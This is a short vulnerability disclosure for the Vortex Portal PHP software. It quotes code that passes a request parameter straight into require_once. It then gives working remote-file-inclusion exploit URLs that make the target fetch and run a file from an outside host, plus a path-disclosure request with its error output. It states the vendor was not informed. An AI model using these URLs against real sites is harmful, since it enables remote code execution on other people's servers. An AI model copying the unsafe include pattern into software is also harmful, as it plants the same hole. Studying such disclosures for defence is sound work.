vortex.txt

`  
  
Vortex Portal Multiples Bugs  
  
Vendor: http://www.VortexPortal.net  
Contact: Brian Price Email: [email protected]  
  
I. Remote File Inclusion:  
  
content.php -->  
  
...  
if (!isset($act)) {  
require_once("main.php");  
} else {  
require_once("$act.php");  
...  
?>  
  
index.php -->  
...  
require_once($root_dir."/content.php");  
...  
  
Exploits  
http://[target-host]/index.php?act=http://[host]/file  
http://[target-host]/content.php?act=http://[host]/file  
  
II. Full Path Disclosure  
http://[target-host]/content.php?act=something-wrong  
and we've get :  
  
Warning: main(something-wrond.php): failed to open stream: No such file or directory in /home/*/content.php on line 9  
  
Fatal error: main(): Failed opening required 'something-wrond.php' (include_path='.:/usr/local/lib/php:/usr/lib/php:../:../') in /home/*/content.php on line 9  
  
Ps.: the vendor wasn't informed.  
  
[ Infektion Group ]  
by Dominus_Vis  
`